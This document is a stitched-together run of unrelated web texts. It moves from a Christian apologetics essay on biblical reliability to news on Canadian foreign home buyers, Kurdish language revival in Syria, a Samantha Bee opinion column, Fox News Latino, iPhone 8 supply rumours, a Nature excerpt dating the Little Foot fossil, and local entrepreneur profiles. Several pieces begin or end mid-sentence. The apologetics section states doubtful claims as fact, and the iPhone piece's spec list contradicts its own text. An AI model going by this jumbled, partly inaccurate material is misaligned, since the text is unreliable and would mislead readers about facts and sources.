There's also a letter sent by a Syrian man sent to his son. It was written sometime near the end of the first century, or possibly the beginning of the second. The man's name was Mara Bar-Serapion and he was serving a prison sentence. He wrote to encourage his son and charge him to seek wisdom. In the letter it says,
"What advantage did the Athenians gain from putting Socrates to death? Famine and plague came upon them as a judgment for their crime. What advantage did the men of Samos gain from burning Pythagoras? In a moment their land was covered with sand. What advantage did the Jews gain from executing their wise King? It was just after that that their kingdom was abolished. God justly avenged these three wise men."
Note the reference to Jesus being put to death is in a historical context. The letter also shows that Jesus claimed to be the King of the Jews and that He taught wisely.
Archaeology has also borne out the reliability of the Bible. Everywhere the archaeologist searches, he uncovers discoveries that bolster, not refute support of the Bible as being a true account of history. Archaeological digs have uncovered a stele dedicated to Pontius Pilate and even found the remains of a crucified man, with the nail still in the bones of the hand. The Hittites were a group considered in the last century to be a mythical people only mentioned in the Bible. It wasn't until A.J. Sayce brought forth evidence of their existence in 1876 that the Hittites were generally accepted as historically true. In fact, the archaeological evidence for the validity of the Bible is so overwhelming that Donald J. Wiseman stated over 25,000 sites mentioned in the Bible have been found. Millar Burrows writes, "The more we find that items in the picture of the past presented by the Bible, even though not directly attested, are compatible with what we know from archaeology, the stronger is our impression of general authenticity. Mere legend or fiction would inevitably betray itself by anachronisms and incongruities."
Further, there is no valid reason to believe that the men who wrote the Bible were lying or trying to deceive. The New Testament particularly shows that the character of the writers was beyond reproach. Each of them suffered and were executed because they would not recant their position that the teachings of the Bible are true and accurate. If their testimony was made up for gain or folly, surely someone would have renounced his stand to save his life, but it did not happen. All the apostles and the writers believed unwaveringly that the Bible was absolute fact.
A set of documents having their origin in the All-knowing God of the universe would not be prone to scientific inaccuracies. If we are to believe that the Bible came from the same source that created the world, then is logical to assume it would not mis-represent the mechanics of the world. Only the Bible contains none of the scientific absurdities that are found in all other ancient religious writings.
In the Hindu Scriptures it is taught that the earth is set atop the backs of four elephants, who in turn stood on a giant sea-turtle that was swimming through a milky sea. However, Job states, "He stretches out the North over empty space, and hangs the earth on nothing.(26:7)" Also, Isaiah mentions that God sits "above the circle of the earth.(40:22)" The New Testament also records a snatching away of believers. In Luke 17 Jesus talks of a singular event stating that "two men in one bed; and one will be taken, and the other will be left. There will be two women grinding in the same place; one will be taken, and the other will be left." These are events that happen at different times of the day, yet Jesus speaks of them as a single instance. Only someone who understands the revolution of a round earth could understand how day and night are relative and one act may affect people in both time frames.
When Genesis was written, The Greeks were beginning to tell of Apollos' flight across the sky in a flaming chariot. The Egyptians were worshipping the sun as Ra, deifying it. The Mesopotamians referred to the sun as "Shamosh" and called it the god of justice. Genesis, however, calls the sun "a light in the expanse of the heavens" and views it as a thing, one created by God. That the Bible does not follow the naiveté of those ancient religions is often overlooked, since modern man is much more knowledgeable in the mechanics of nature. We take for granted that someone touching an infectious person or a corpse should practice good hygiene and wash thoroughly in running water before proceeding to anything else, but this "discovery" has only been a medical reality for 150 years. The book of Leviticus, though, requires this same procedure. One cannot find ideas as arcane as blood-letting or consuming ram's horn for fertility, or all the other mythical cures for ills that were thought to be science in those days. The Bible is not a science book. It does not focus on scientific facts about the creation, but where it mentions those things, it is accurate in its representation. This is exactly what we'd expect if the Bible had its origin in the One who created the universe and its scientific laws.
Internal Evidence for Reliability of the Bible
Thus far we have examined several evidences of the accuracy and the reliability of the Bible by comparing it to outside sources and what we know is true. Now, I'd like to turn our attention to the text of the Bible itself to show how it validates itself as the word of God. Again, I remind you that we have a collection of different documents that were written over one and a half millennium, that are devoted to discussing the most controversial and emotionally charged topics man has known. The incredible thing is that they all agree. Taken together, the Bible presents a single, unified message of actions and attitudes by which man can live. This is an unprecedented feat.
To have sixty six books written by about forty authors, from kings and nobles to fishermen and soldiers, in three languages and on three continents, be of the same mind is just not humanly possible. Why, the editorial writers in our newspapers can't even agree when they come from the same culture and similar educational backgrounds.
To demonstrate the remarkability of this accomplishment, we can propose an experiment. Imagine a classroom of thirty students at the high-school level. The teacher has decided on the class writing a novel for a class project. Each student will be assigned one chapter and they will then gather the papers together to assemble the finished work. The topic chosen is "Why God is important in man's life," but there is no outline and there are no rules as to what that statement means. Because the students are all the same age and live in the same area at the same point in time, they have a tremendous advantage over the Biblical writers, but to expect a congruent work is ridiculous. The fact that the Bible is a unified message shows that its origin comes from beyond man.
Because the Bible claims it is the word of God, it requires of itself a stricter assessment. The Old Testament is filled with the authoritative phrase "Thus sayeth the LORD". The fact that men recognized it from the time it was first penned as authoritative gives it a measure of strength. The laws that were required of the Jews were very arduous. Because they chose to accept them as commandments from God before any significant length of time had elapsed to mythicalize them shows that the people believed with their lives that these documents were from God. Jesus Himself validates the Old Testament by regarding it as the word of God and authoritative in all things.
The Biblical Test for Inspiration
The last point in demonstrating the inspiration of the Bible is one we have not yet mentioned. The Bible itself gives a test to all messages claiming to be from God, and you are to judge the merits of the message by that test. Deuteronomy 18:20-22 states:
"But the prophet who shall speak a word presumptuously in My name which I have not commanded him to speak, or which he shall speak in the name of other gods, that prophet shall die. And you may say in your heart, 'How shall we know the word which the LORD has not spoken?' When a prophet speaks in the name of the LORD, if the thing does not come about or come true, that is the thing the LORD has not spoken. The prophet has spoken it presumptuously; you shall not be afraid of him."
This passage shows the yardstick by which all revelation is measured: prophecy. The Bible stands alone as a book stuffed with prophecy. It is the very heart of Scripture. With prophecy, God gives the faithful hope by promising better things in the future. Likewise, the wicked are warned of impending judgment if they don't change their ways. The Bible is unique from all other religious texts because it gives specific, detailed prophecies that were fulfilled just as written. Let's look at a few prophecies to demonstrate their precision.
The coming of the Jewish Messiah is the focus of the Old Testament. There are over 300 separate prophecies about the "Holy One of Israel" found there. They are so specific as to predict the city of Jesus' birth (Micah 5:2), His nature (Isaiah 7:14), His works of healing and miracles (Isaiah 35:5-6), His betrayal for thirty pieces of silver (Zechariah 11:12-13), His suffering (Isaiah 53), His style of execution (Psalm 22) and His resurrection (Psalm 16:10, Acts 13:35) amongst other things. These prophecies were written anywhere from 400 to 1000 years before Jesus' birth, yet they describe His life with the accuracy of an eyewitness. The odds against a living person meeting even a few of these predictions is so astronomical it is considered an impossibility.
Another prophecy given in the book of Isaiah was to the man who would conquer the city of Babylon. In Isaiah 44:27 and following the Lord says,
"It is I who says to the depths of the sea, 'Be dried up!' and I who will make your rivers dry. It is I who says of Cyrus, 'He is My shepherd!' and he will perform all My desire. Thus says the LORD to Cyrus, His anointed, whom I have taken by the right hand, to subdue nations before him, and to loose the loins of kings; to open the doors before him so that the gates will not be shut. I have also called you by your name; I have given you a title of honor though you have not known Me. I am the LORD, and there is no other; besides Me there is no God"
This prophecy was written around 690 BC. History tells us that in 538 BC a Persian general named Cyrus had devised a plan to overtake the impregnable city of Babylon. He dammed up the river running through the city and sent soldiers under the gates. When he got to the front gates, however, he found them unlocked and took the entire city without a problem. In one night the most secure empire in the world of that time was overthrown. It was described by God to Cyrus, and addressed to him by name, 150 years before he had even been born!
One other prophecy we can examine is one that has been fulfilled in modern times. Israel is an amazement sociologically. Never in the history of mankind has a nation been overthrown and obliterated for 1900 years and then come back into existence. Yet, this is exactly what has happened to the nation of Israel, and they reside in the same geographic area as they previously possessed. We turn again to Isaiah, chapter 11 which states,
"In that day the Lord will reach out His hand a second time to reclaim the remnant that is left of His people from Assyria, from Lower Egypt, from Upper Egypt, from Cush, from Elam, from Babylonia, from Hamath and from the islands of the sea. He will raise a banner for the nations and gather the exiles of Israel; He will assemble the scattered people of Judah from the four corners of the earth." (vss.11-12)
Notice, that the passage in Isaiah was written before the Babylonian captivity, so it refers to a second regathering. That implies that there would be two dispersals. Yet, after the second exile, it also promises that the nation of Israel would be put back together from "the four corners of the earth", which is an unequalled feat. Just think of how many Hittites or Philistines we find today. People who are exiled for an extended period of time generally assimilate into the culture in which they're placed. In no other instance has this ever happened.
In Jeremiah 16:15, God promises that the Israelites will dwell "in the land I gave their forefathers", and Ezekiel chapter 36 describes the incredible transformation of the land itself into a major agricultural center. We still have documentary footage of how the land of Palestine was transformed from a mosquito-infested swampland to the breadbasket of Europe. It is now the sixth largest producer of fruits in the world!
When all the evidence is studied, it leads to an inescapable conclusion: the Bible must come from a source other than that of natural man. It is a reliable document that faithfully records history and in that record it documents God intervening in the lives of men. The New Testament verifies that the Old Testament is the word of God, and Peter verifies that the writings of Paul are Scriptural; that is from God(2 Peter 3:16). Peter also states, "No prophecy was ever made by an act of human will, but men moved by the Holy Spirit spoke from God.(2 Peter 1:21)" This is a consistent message throughout the Bible.
In any field of study, when people examine the objects of their study, they classify them by their attributes. A bird fits the definition of an animal with feathers that lays eggs. Every animal that has those attributes is considered a bird. A mammal must be warm-blooded, have hair, and suckle its young. In examining all the religious texts of the world, only the Bible exhibits all the attributes of a God-inspired message. I hope you will appreciate the Bible more from our discussion, and let me know if I've assumed something that doesn't make sense to you. May you be greatly blessed in your pursuit of Him.A nameless, faceless figure at the heart of the controversy surrounding soaring real estate prices has been named The Canadian Press business newsmaker of the year. As home prices in Vancouver and Toronto rose at a torrid pace, public and political attention shifted to an enigma that, rightly or wrongly, some believed to be the culprit: the foreign investor.
The cityscape is pictured in downtown Vancouver, B.C. on Dec. 22. The foreign investor has been named The Canadian Press business newsmaker of the year. Stories about buyers from outside Canada, particularly those from China, snapping up Vancouver houses dominated headlines over the past year. ( JONATHAN HAYWARD / THE CANADIAN PRESS )
Stories about buyers from outside Canada, particularly those from China, snapping up Vancouver houses dominated headlines over the past year, sparking outrage among some. The issue became so heated that it prompted the B.C. government to implement a 15 per cent tax beginning in August on homes purchased by foreign nationals in Metro Vancouver. The federal government also intervened. In October, it closed a tax loophole that had allowed non-residents to avoid paying capital gains tax on the sale of a principal residence.
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Brad Henderson, president and CEO of Sotheby’s International Realty Canada, says concerns about foreign investment in the Canadian real estate market stemmed from eroding affordability. “People were watching with amazement as each month went by and prices seemed to climb higher and higher,” Henderson said, adding that many would-be first time homebuyers were angry about being squeezed out of the market. “People needed to have a villain to blame. In our opinion, the villain that ended up getting blamed was the foreign buyer, because that person, for the most part, didn’t have a face. It was a notion in most people’s minds.” The foreign investor captured 37 per cent of the 27 votes cast in the annual poll of the country’s newsrooms by The Canadian Press. It’s the first time since the survey began in 2003 that the business newsmaker of the year wasn’t a specific person. Alberta Premier Rachel Notley |
split students into morning and evening sessions.
"We opened the centre in 2011. It was very dangerous because at that time this area wasn't controlled by Kurdish forces," says Sardar, an employee at the centre.
"We didn't have much, but we wanted to open it at all costs."
Since then some 50 similar language centres have opened in the "Jazire" canton in Hasakeh province.
"We used to learn Kurdish grammar in secret," says Delsha, a woman in her 50s carrying a black briefcase.
"I'm here today to learn it seriously, and to teach it to my children and grandchildren."
Syria's Kurdish population has strived to remain neutral towards the embattled regime of President Bashar al-Assad, which is fighting a multi-front war against different rebel groups.
To win their favour, Assad granted tens of thousands of Kurds nationality in the early days of the anti-regime revolt.
The University of Damascus also added Kurdish to its language department last year.
- 'We can yell without fear' -
In the popular market in Amuda, considered the political hub of the Kurdish autonomous administration, storefronts are packed with traditional Kurdish costumes and flags.
"In the past, selling a Kurdish flag was more difficult than selling drugs," says shop owner Ahmad Bozo.
"We noticed a huge demand for traditional Kurdish clothes since 2012, after the gradual withdrawal of the regime from the city," he says.
"Today, we can sell without restrictions."
Syrian Kurds are also expressing their newfound cultural freedoms on the airwaves.
Ronahi TV was founded at the end of 2012 in Amuda and is the only Syrian satellite channel that broadcasts in Kurdish.
"We have 50 employees, including Arabs. Over 24 hours we present more than 25 political, cultural, and social programs in Kurdish and Arabic," says Zalal Binisi, the channel's director.
"We try to broadcast the Kurdish voice to the world."
In one of the station's three studios, journalist Rudi Mohammad Amin prepares for his weekly discussion on social problems in the autonomous areas, donning traditional Kurdish wear of large, loose black pants and a blue shirt covered with a vest.
"I cannot describe my joy as I speak to the world in my mother tongue," the young man says. "The time has come when we can yell without fear."Samantha Bee has a rule when it comes to political satire:
Mock a Republican, it's hilarious.
Mock Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE, delete the punchline.
Immediately.
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Bee put this rule on full display on Monday night after TBS — the network that employs her — sent a Tweet out making fun of Hillary Clinton's laugh. Note: the Democratic nominee's laugh is mock-worthy just as former vice presidential candidate Sarah Palin's accent was.
But to Bee, going after Mrs. Clinton — even in comedic circles — is absolutely unacceptable.
To review, TBS tweeted: “Move over Donkey! There’s a new mascot in town … #ImWithHyena”. The Tweet included a 24-second video of Clinton laughing mixed with the sound from laughing hyenas.
The tweet originated from the TBS website, "The Heckler", a satire site of pop culture and politics.
Bee — incensed that TBS would make such a joke — retweeted the network’s and wrote in a since-deleted Tweet,“Delete your account.”
TBS, petrified its adored talent in Bee was upset, put out a a statement not long after to apologize for the joke. Bee, a Daily Show alum who should have been Jon Stewart's replacement instead of the ineffective and increasingly irrelevant Trevor Noah, is the host of "Full Frontal with Samantha Bee" that began airing in TBS in February.
"This post was obviously a poor attempt at humor and has been taken down," the network said. "Moving forward we'll leave political satire to professionals like Samantha Bee."
TBS's tweet has also since been deleted.
But really...who exactly is Bee to decide what's funny and what isn't?
Ask yourself this: If the Tweet in question from TBS had mocked Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's hair or George W. Bush's diction (See: "Strategery"), would Bee be jumping in here to play judge and jury on what's comedy and what isn't?
Of course not. Because she's just another politically-myopic comedienne.
Jerry Seinfeld once shared his rule for comedy: "If you're funny, I'm interested. If you're not funny, I'm not interested."
The TBS tweet was average comedy of the low-brow variety. If you think Hillary's laugh is grating and therefore worthy of mockery, fine. If you somehow think it's sexist, because at last check a laugh isn't gender-specific, that's fine too. Opinions are opinions...
But Samantha Bee shouldn't be dictating what should and should not appear on the network Twitter account.
Especially when her sentiment has nothing to do with what's funny and what isn't, but the usual partisan perspective engulfing the very political media she ridicules.
Concha is a media reporter for The Hill.
The views expressed by Contributors are their own and not the views of The Hill."I don't have any problem with a path to citizenship"
That’s not as blandly neutral as it sounds. “Hispanics who get on government programs are doing only a little better than they were in the old country,” Ailes elaborates. “Fox News Latino will show people how opportunities exist, that whenever we are overregulated, or there is too much government, we lose freedom. We lose power. That is, historically, one hundred percent true.”
History aside, there is logic to it. “Latinos tend to doubt deeply big government,” says Jorge Ramos, the head anchor at Univision. “Remember, we are coming from countries in Latin America where we are so used to corruption.”
There are other issues too, like abortion and religion, where Hispanics’ views tend to align more closely with the GOP. After the presidential election, a Hispanic Leadership Network poll of four swing states found an average gap of 13 points between Latinos who considered themselves conservative and Latinos who actually voted for Romney. Ailes wants these people not just visiting Fox News Latino, but watching Fox News, too.
“I happen to think that the Latino audience is an essentially traditional audience and will go to Fox News for traditional American values,” Ailes says.
The hitch, of course, is immigration. “Unless the Republican Party changes its position on immigration, it doesn’t matter what they do on other issues,” Ramos says. The challenge is the same for Fox News.
“They are too far gone as a brand,” says Alex Nogales, president of the National Hispanic Media Coalition. “My generation is never going to forget what they’ve done, what they continue to do even now. They have enticed an audience to be prejudicial and discriminatory.”
Ailes knows Fox needs a new message on immigration, even as Fox News Latino draws attention to other issues. “Republicans haven’t used the right language,” Ailes says. “They keep talking about illegal immigration.”
“I think the word ‘illegal immigration’ is a false name,” he continues. “You are talking about two separate issues. One is sovereignty.... The media trying to make America feel guilty because we want borders—that, to me, is complete bullshit. Immigration is a separate issue.... We should all defend sovereignty, then take a Judeo-Christian approach to immigration. I don’t have any problem with a path to citizenship.”
Rubio has recently taken up a similar line, supporting a path to citizenship only after the Obama administration takes additional steps to enforce immigration laws. But nowhere has the rhetorical problem that Ailes describes been more apparent than on Fox News. “OBAMA ADMINISTRATION HALTS DEPORTATIONS FOR UNDOCUMENTED CHILDREN,” read Fox News Latino’s headline on an A.P. story last summer. As Media Matters pointed out, Fox Nation, the red-meat section of FoxNews.com, headlined the same wire story: “OBAMA ADMINISTRATION BYPASSES CONGRESS, TO GIVE IMMUNITY, STOPS DEPORTING YOUNGER ILLEGALS.”
“There’s an assumption that Fox News Latino is softer on Latinos than Fox News in general,” Ailes says. “That’s ridiculous.” Whether Fox’s Hispanic audience will note a difference remains to be seen. So far, Ailes insists, things are going well—but he’d rather not let his competitors in on his secrets. “I don’t want to get into strategic thinking on this,” he says. “If these dumb bastards invent their own channel, I’m not going to help them.”Analyst Ming-Chi Kuo is once again cautioning investors that Apple's anticipated flagship "iPhone 8" could be in extremely limited supply to end 2017, thanks to the expected adoption of a number of new technologies, namely an edge-to-edge OLED display.
iPhone X 5.8-inch Super Retina OLED display
A11 Bionic chip with Neural Engine
3D-sensing TrueDepth front camera
Dual rear 12-megapixel cameras with TrueTone flash
Face ID replaces Touch ID
Home button removed
Glass back, stainless steel band
Wireless charging
IP67 water, dust resistance
Starting from $999 without contract
Ships November 3 More info: iPhone X
The KGI Securities analyst issued a note on Monday, a copy of which was obtained by AppleInsider, cautioning that production ramp of the so-called "iPhone 8" could begin as late as October or November. That would be later than the usual August-September timeframe for a new flagship iPhone.Kuo said the potential delays could come about because of production difficulty. He warned investors that "severe supply shortages" could persist for awhile, which would cap total shipments of new iPhones in the second half of 2017.Rumors of supply constraints on new iPhones and new Apple products are not new. But in recent history, whenever Apple brings new technology to market —such as with the dual-camera system on the iPhone 7 Plus, or the completely wireless AirPods, or the new product category of Apple Watch— there have been severe stock issues.In fact, this year's "iPhone 8" launch could further be compounded by the fact that other handsets are also expected to utilize edge-to-edge OLED displays. Kuo said he believes seamless, large screens will become a major selling point for high-end smartphones, which could leave legacy LCD-based designs in the dust.In particular, Apple is rumored to launch two more iPhones this year— an "iPhone 7s" and "iPhone 7s Plus" —that will feature largely the same design as the iPhone 7 series. While the "iPhone 8" is believed to come in one size with a 5.2-inch OLED primary display area, the "iPhone 7s" lineup is expected to come with the same 4.7- and 5.5-inch LCD panels as past models.Kuo cautioned that the "7s" series could lose its appeal to high-end users if full-screen designs become expected among consumers.Kuo had forecast new iPhone shipments to reach as high as 110 million in the second half of 2017. But he has now cautioned that a "worst case scenario" could cut his estimates by 15 to 25 percent, to between 80 million and 90 million units."Notably, we see a higher probability of the worst case scenario becoming a reality," he wrote.Beyond a large OLED display, Apple's rumored tenth anniversary iPhone is also said to boast a glass back with wireless charging, 10-nanometer A11 processor, the removal of the physical home button for a virtual onscreen one, and a premium price tag starting at more than $1,000.It's expected that Apple will hold an event in September to announce its new iPhone lineup. But if the new technology in the "iPhone 8" leads to problems, it's possible that the handset could launch later than usual, and in limited quantities.The cave at Sterkfontein is partly filled with overlapping layers of fossiliferous breccia19,20 that entered through multiple openings to the surface. The infill was originally divided into six members thought to be in stratigraphic order19, with Members 1–3 inside the cave and 4–6 now exposed at the surface owing to erosion of the cave roof. Although the complete infill stratigraphy is not exposed in any one place and the temporal relationship between the interior and surface deposits remains debated11,13, we retain the original nomenclature19,20 here. We will focus on Member 2 within the Silberberg Grotto (Fig. 1) and on the Oldowan Infill of Member 5 in younger deposits excavated from a higher infill.
Figure 1: Stratigraphy and sample locations. Measured stratigraphic section through the Member 2 talus at the location of the StW 573 skeleton showing locations of dated samples, modified from ref 14. Locations of U/Pb samples are estimated from schematic sections of refs 10, 11; palaeomagnetic samples were located from refs 8, 12. Inset locates the cross section in the lower part of the Silberberg Grotto, with approximately 1 m contour intervals for the infill surface. Full size image Download PowerPoint slide
Member 2 contains abundant fossils, angular dolomite and chert clasts, and quartz-bearing sand. Several localized flowstones and botryoidal calcite deposits fill cavities that formed after the breccia was cemented and later settled into voids dissolved below (Fig. 1)4,14. Fauna was accumulated as a deathtrap assemblage21 including associated elements, largely of primates and carnivores, with no hominids apart from a single near-complete skeleton of Australopithecus prometheus (StW 573; Fig. 2)1,2,3,4,22. This species was named on the basis of a parieto-occipital fossil from Makapansgat23. It has been suggested22 that several other Sterkfontein and some Makapansgat specimens also belong in this species making Australopithecus africanus and A. prometheus contemporaries in the assemblages of Makapansgat Member 3 and Sterkfontein Member 4. A. prometheus differs from A. africanus in features including Paranthropus-like larger, bulbous-cusped cheek teeth, a longer, flatter face, incipient supraglabellar hollowing and a more vertical rounded occiput22. (Note that we use the term hominid in the traditional sense to include humans and their ancestral relatives but exclude the great apes.)
Figure 2: Skull of StW 573 (‘Little Foot’). The skull, recently extracted from the cave breccia. Photo by Jason Heaton. Full size image Download PowerPoint slide
Dating of Member 2 and StW 573 has been problematic. Flowstones in the vicinity of StW 573 date to about 2.2 million years (Myr)10,11, but they post-date the breccia and the fossil4,14. The only previous date on the breccia itself was cosmogenic 26Al/10Be burial dating of fine-grained quartz9, which yielded a best-fit age of 4.17 ± 0.35 Myr. This age has been questioned by many10,11,12,13,24 who have suggested that fine sediment could have been reworked from older, higher deposits within the cave, making the burial age of the sediment older than the fossil. To resolve the age of the fossil the breccia must be dated and it must be shown to be a coherent stratigraphic unit, largely free of reworked material. This is now possible owing to improvements in measurement precision and new techniques such as isochron burial dating which can explicitly validate the coeval deposition of the entire unit24,25,26,27.
Member 5 contains both Homo ergaster and Paranthropus fossils as well as Oldowan and Acheulean stone tools5,6,7. Member 5 East is divided into a lower Oldowan infill, with the first appearance of stone tools and a few fossils of Paranthropus, and an overlying early Acheulean infill5,6,7. Faunal comparisons and the Paranthropus hominid StW 566 suggested an age estimate of 1.7–2.0 Myr for the Oldowan infill6,7. A substantially younger age of 1.32 ± 0.08 Myr (error-weighted mean) has been inferred from electron spin resonance dating of bovid teeth12. We use burial dating of a quartz manuport to determine the age of the Oldowan infill.
Burial dating is based on the radioactive decay of 26Al and 10Be in quartz. These nuclides build up by exposure to secondary cosmic radiation near the ground surface, and subsequently decay when sediment is buried and cosmogenic nuclide production is attenuated. Because 26Al (τ 26 = 1.021 ± 0.024 Myr (ref. 28)) decays faster than 10Be (τ 10 = 2.005 ± 0.020 Myr (ref. 29)), the ratio 26Al/10Be decreases over time, with an effective mean-life of τ bur = 2.08 ± 0.10 Myr. For burial dating to be accurate, three criteria must be met. (1) The quartz must be exposed near the ground surface before burial to accumulate sufficient 26Al and 10Be. (2) It must be buried quickly and deeply enough so that post-burial production is small. The exact depth required depends upon the inherited concentrations, but is usually many metres. (3) It must be buried only once in the past ∼10 Myr. If quartz has been reworked from older deposits, or if it has been reworked underground within the cave system, then the burial age will overestimate the true age of the deposit.
An elegant way to test whether the burial dating criteria are met is to construct an isochron24,25,26,27 in which multiple samples are analysed from the same location. Each sample is buried with its own inherited 26Al and 10Be concentrations, but all samples share the same post-burial production history. A plot of 26Al versus 10Be yields a gentle curve with a slope that indicates burial age and an intercept that depends on the amount of post-burial production24. The isochron burial dating method accounts for post-burial production without requiring detailed knowledge of the burial depth or burial history. It also allows outliers to be identified; reworked samples plot below the isochron, while samples significantly above the isochron are forbidden and indicate issues with either the sample or the laboratory measurements.
We analysed 11 samples from Member 2 (Table 1), including three previously reported9. Effective isochron burial dating requires a wide range of inherited cosmogenic nuclide concentrations. To that end, we selected a suite of samples to maximize variability. Fine quartz sand from multiple samples (ST 1–9) was probably washed in from the surface. In contrast, four blocks of chert were collected from the immediate vicinity of StW 573 (M2CA–D). Two fractions of coarse sand and pebbles were separated (ST M2 Dark and Light). One fraction comprises rounded grains stained with pedogenic iron oxides and washed into the cave from soil at the surface; the second comprises angular unstained grains probably eroded from the walls and ceiling of the cave itself (Extended Data Fig. 1). A previously reported sample from the modern surface9 was analysed to confirm that material enters the cave with a zero burial age.
Table 1: Samples and cosmogenic nuclide concentrations Full size table
From the Oldowan Infill of Member 5 we selected a single quartz manuport—a typical vein quartz cobble with rounding and impact marks characteristic of rocks found in the local river gravels close to Sterkfontein (Extended Data Fig. 2). There is no evidence for reworking of older deposits, as there are no diagnostically younger artefacts within the large Oldowan assemblage of 3,500 pieces6,7.
26Al and 10Be were measured by accelerator mass spectrometry (AMS). All samples of fine sand and the iron-stained grains have high 26Al and 10Be concentrations, confirming their origin from outside the cave. Light-coloured grains and chert blocks have low concentrations, indicating that they were probably eroded from the walls of the cave within a few metres of the surface. A plot of 26Al versus 10Be (Fig. 3) reveals that all but two of the samples lie on an isochron, consistent with a single episode of deposition. One chert block lies below the isochron, indicating that it was reworked from an older deposit within the cave, perhaps from talus of Member 1, nearby. Another chert sample has a 26Al/10Be ratio far into the forbidden zone above the isochron, indicating a problem. Because this was a small sample there is no remaining chert for re-analysis; it is not included in the age determination.
Figure 3: Burial dating isochron. Cosmogenic 26Al and 10Be concentrations for individual samples from Member 2, shown as 1σ error ellipses. The solid curve shows the error-weighted best fit, and dashed curves illustrate 1σ error bounds. One sample shown as an open symbol lies below the isochron and has been reworked from an older deposit. A single outlier lies far above the line and has been excluded from analysis. The remaining nine samples are all consistent with a single age of deposition at 3.67 ± 0.16 Myr ago. Full size image Download PowerPoint slide
The burial age for Member 2 is calculated as 3.67 ± 0.16 Myr. The concentration of 10Be produced after burial is calculated as (21 ± 3) × 103 atoms per gram, corresponding to a post-burial production rate of about 0.012 atoms of 10Be per gram per year, a value consistent with deep burial. The burial age of the surface sample is 0.11 ± 0.11 Myr, consistent with zero. Its concentrations indicate a surface erosion rate of 5.5 ± 0.5 m Myr−1 for 10Be and 6.0 ± 0.6 m Myr−1 for 26Al.
Several factors have contributed to lowering the age of Member 2 from that previously reported for sample ST 2 (4.17 ± 0.35 Myr)9, even though its 10Be and 26Al concentrations did not change substantially. Since the time of the previous publication the mean-life of 10Be has been re-evaluated and raised from 1.93 Myr to 2.005 Myr (ref. 29), decreasing the burial age. In addition, post-burial production by muons was previously overestimated, making the inferred burial age too old. Although production rates by muons at depth have been revised27, the isochron method explicitly solves for post-burial production and avoids the need for theoretical production rate calculations, making the method inherently more robust. Finally, rather than relying on a single sample, the new calculations consider nine samples simultaneously; using revised values sample ST 2 alone would yield an age of 3.94 ± 0.20 Myr, older than but well within measurement uncertainty of the joint solution.
The new age of the Member 2 breccia and the StW 573 skeleton encased within it is in accordance with stratigraphic and taphonomic data14 suggesting that they are older than Member 4 with its abundant Australopithecus fossils. StW 573 thus represents an earlier individual that is older than similar fossils from Makapansgat and contemporary with some A. afarensis fossils such as at Laetoli15, and a partial skeleton from Woranso-Mille, Ethiopia16. The demonstration that A. prometheus in South Africa was contemporary with the morphologically very different A. afarensis of eastern Africa now raises interesting questions about early hominid diversity and phylogenetic relationships.
The burial age for the manuport from the Oldowan infill, calculated for its current burial depth of 7 m and a surface erosion rate of 5 m Myr−1 is 2.18 ± 0.21 Myr. The Oldowan at Sterkfontein is now placed at a time compatible with sites elsewhere in Africa, near 2 Myr ago, and with the date of approximately 1.8 Myr ago at Wonderwerk18. It is close to the cosmogenic burial age of 2.19 ± 0.08 Myr for a manuport found in the Lower Bank of Member 1 at Swartkrans17, only about 1 km away. Taken together, these dates show that Oldowan technology was present in South Africa by 2 Myr ago.At first glance, Brendan Loney, Maddie Woo, and Mnar Muhawesh appear to have little in common, besides Maple Grove roots. Brendan Loney splits his time between classes at Gustavus Adolphus and his start-up clothing company, an impressive accomplishment considering a diving accident three and a half years ago left him a quadriplegic. Maddie Woo is a high school senior who maintains a near-perfect GPA and a dominant presence on the Maple Grove hockey team—as well as a side job maintaining her neighbors’ yards. Mnar Muhawesh, whose parents immigrated to the US from Jerusalem, balances life as a wife, mom, journalist and CEO.
But a closer look at these three individuals reveals some significant commonalities. Each has seized opportunity when presented with it. Each has persevered, in spite of challenges. Each has found a niche, a passion, and turned that into a source of income. These factors have made Brendan Loney, Maddie Woo, and Mnar Muhawesh successful entrepreneurs in each of their respective industries.
Passionate Perseverance
Brendan Loney has always liked shoes, but he didn’t think he would ever create and sell his own brand. However, a diving accident during the summer of 2009 shattered Loney’s C4 and C5 vertebrae—as well as his plans to continue as a traditional student at Gustavus. After almost 18 months of rehab at both Craig Hospital in Colorado and the Courage Center in Golden Valley, Loney had regained some of the strength and range of motion in his shoulders and arms; he can operate his wheelchair and even the smart phone attached to his chair. “My mindset was workout, workout, workout,” he says, and then pauses. “And hang out with friends.”
During the summer of 2011, it was one of those friends, Kevin Hoffmann, who collaborated with Loney to launch Live Life Clothing, a line dedicated to promoting perseverance and positivity. “I used that same mentality when I was going through rehab,” says Loney. The clothing features a smiley face logo with two Ls for eyes, which Loney believes will inspire the wearer to “live life.”
Two additional friends, Tony DesMarias and Ben Ikeda, have also come on board to assist Live Life, which currently houses its merchandise in Loney’s garage. Orders from Live Life’s website have been shipped all over the United States. The company sells various shirts and some shoes, with plans to expand into other accessories, but it’s the shoes in particular that Loney loves. Hoffmann, who Loney says is the best artist he knows, strips and repaints each pair of shoes. Loney himself proudly sports a pair of Hoffmann’s custom-made sneakers and acknowledges that while sales so far have mostly been shirts, he hopes that the shoe business will take off soon.
Loney will graduate with a degree in business management from Gustavus this December, and then he hopes to commit to working at Live Life full-time. “I would love for this to be my life,” he says. “When you put something on and you realize it means something—that’s what I want people to feel [about Live Life Clothing.]”
For those interested in starting their own business, Loney cautions that it will take time and commitment. “It’s going to be different than you planned,” he says. “But if you really want something to work, it will work.”
Straight-laced
A stellar student and stand-out hockey player, Maddie Woo has also operated her own lawn care business since age 12. “I like being outdoors,” she says simply, of her decision to start her business. After making her own ad fliers and rollerblading around the neighborhood to stuff them in mailboxes, Woo had a handful of nearby clients.
A few years later, Woo expanded her business to include snow removal. She has intentionally kept her clients to fewer than 5, due to her busy school and sports schedule. “At first I wanted to expand my business to 10 families,” she says. “But it was too much.” With so many commitments on any given day, Woo has learned to stay organized and focused on what’s most important. “I like being reliable and helpful,” she says. “I don’t spread myself too thin.”
Woo believes that any youngster thinking about starting her own business should consider what she likes to do already. “Make money doing something you like. You’re still a kid, so do something fun.”
Giving Voice
